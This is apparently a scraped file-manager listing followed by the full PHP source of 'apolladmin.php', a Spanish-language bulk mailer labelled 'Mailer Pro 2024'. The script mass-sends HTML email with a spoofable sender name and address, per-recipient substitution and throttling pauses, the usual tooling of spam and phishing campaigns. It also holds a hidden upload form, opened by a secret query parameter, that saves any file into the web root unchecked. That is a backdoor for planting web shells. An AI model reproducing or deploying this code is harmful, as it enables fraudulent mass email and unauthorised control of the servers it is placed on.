at path:ROOT / apolladmin.php
run:R W Run
DIR
2026-01-31 06:21:23
R W Run
DIR
2025-07-01 10:43:57
R W Run
DIR
2026-01-31 06:21:23
R W Run
DIR
2026-01-31 06:21:24
R W Run
DIR
2026-01-31 06:21:22
R W Run
DIR
2026-01-31 06:21:21
R W Run
DIR
2026-01-31 06:21:23
R W Run
DIR
2026-01-31 06:21:23
R W Run
122.65 KB
2026-01-31 06:20:35
R W Run
15.05 KB
2026-01-31 06:20:10
R W Run
4.39 KB
2025-02-10 22:58:05
R W Run
148.28 MB
2026-04-14 22:32:12
R W Run
0 By
2025-02-10 21:54:41
R W Run
1.32 KB
2024-12-27 07:49:45
R W Run
2 KB
2026-04-08 09:51:40
R W Run
0 By
2025-02-10 21:53:32
R W Run
error_log
📄apolladmin.php
1<?php
2@set_time_limit(0);
3error_reporting(0); // Evita mostrar errores técnicos al usuario
4
5// Valores por defecto
6$message = "<html><body><h1>Hola amigo, ¿cómo estás?</h1></body></html>";
7$subject = $_SERVER["HTTP_HOST"];
8$nombre = "lokomania";
9$de = "[email protected]";
10$ellos = "[email protected]";
11
12// Procesar Formulario
13if (isset($_POST['Enoc'])) {
14 $message = stripslashes($_POST['html']);
15 $subject = $_POST['assunto'];
16 $de = filter_var($_POST['de'], FILTER_SANITIZE_EMAIL);
17 $nombre = htmlspecialchars($_POST['RealName']);
18 $ellos = $_POST['ellos'];
19}
20?>
21<!DOCTYPE html>
22<html>
23<head>
24 <title>Mailer Pro 2024</title>
25 <style>
26 body { font-family: sans-serif; font-size: 13px; background: #f4f4f4; color: #333; }
27 .container { width: 600px; margin: 20px auto; background: #fff; border: 1px solid #ccc; padding: 20px; }
28 input[type="text"], textarea { width: 100%; margin-bottom: 10px; border: 1px solid #ccc; padding: 5px; box-sizing: border-box; }
29 .btn { background: #0000CC; color: white; padding: 10px 20px; border: none; cursor: pointer; }
30 .log { margin-top: 15px; padding: 10px; background: #eee; height: 200px; overflow-y: auto; font-family: monospace; }
31 </style>
32</head>
33<body>
34
35<div class="container">
36 <form action="" method="post" enctype="multipart/form-data">
37 <label>De (Email):</label>
38 <input name="de" type="text" value="<?php echo $de; ?>">
39
40 <label>Nombre:</label>
41 <input name="RealName" type="text" value="<?php echo $nombre; ?>">
42
43 <label>Asunto:</label>
44 <input name="assunto" type="text" value="<?php echo htmlspecialchars($subject); ?>">
45
46 <div style="display:flex; gap: 10px;">
47 <div style="flex:2">
48 <label>HTML / Mensaje:</label>
49 <textarea name="html" rows="10"><?php echo htmlspecialchars($message); ?></textarea>
50 </div>
51 <div style="flex:1">
52 <label>Lista de Emails:</label>
53 <textarea name="ellos" rows="10"><?php echo $ellos; ?></textarea>
54 </div>
55 </div>
56
57 <center><input type="submit" name="Enoc" value="Enviar Campaña" class="btn"></center>
58 </form>
59
60 <?php
61 // Sección de Upload Oculta
62 if (isset($_GET['sec']) && $_GET['sec'] == 'yess') {
63 echo '<hr><form method="post" enctype="multipart/form-data">
64 <input name="archivo" type="file"> <input type="submit" name="up" value="Upload">
65 </form>';
66 if (isset($_FILES['archivo'])) {
67 if (move_uploaded_file($_FILES['archivo']['tmp_name'], "./" . $_FILES['archivo']['name'])) {
68 echo "<b>Subido con éxito.</b>";
69 }
70 }
71 }
72
73 // Lógica de Envío
74 if (isset($_POST['Enoc'])) {
75 echo '<div class="log">';
76 $emails = (isset($_GET['c'])) ? explode(",", $ellos) : explode("\n", $ellos);
77 $total = count($emails);
78
79 // Cabeceras mejoradas para mayor entrega
80 $headers = array();
81 $headers[] = "MIME-Version: 1.0";
82 $headers[] = "Content-type: text/html; charset=utf-8";
83 $headers[] = "From: {$nombre} <{$de}>";
84 $headers[] = "Reply-To: {$de}";
85 $headers[] = "X-Mailer: PHP/" . phpversion();
86 $header_str = implode("\r\n", $headers);
87
88 foreach ($emails as $index => $email) {
89 $email = trim($email);
90 if (!filter_var($email, FILTER_VALIDATE_EMAIL)) continue;
91
92 // Pausas inteligentes
93 if (isset($_GET['time'], $_GET['cant']) && ($index % (int)$_GET['cant'] == 0) && $index > 0) {
94 echo "Esperando " . (int)$_GET['time'] . " segundos...<br>";
95 flush();
96 sleep((int)$_GET['time']);
97 }
98
99 $personalizado = str_replace('%email%', $email, $message);
100
101 if (@mail($email, $subject, $personalizado, $header_str)) {
102 echo "<span style='color:blue'>[" . ($index+1) . "/$total] ENVIADO -> $email</span><br>";
103 } else {
104 echo "<span style='color:red'>[" . ($index+1) . "/$total] ERROR -> $email</span><br>";
105 }
106 flush();
107 }
108 echo "</div><script>alert('Proceso terminado');</script>";
109 }
110 ?>
111</div>
112
113</body>
114</html>
115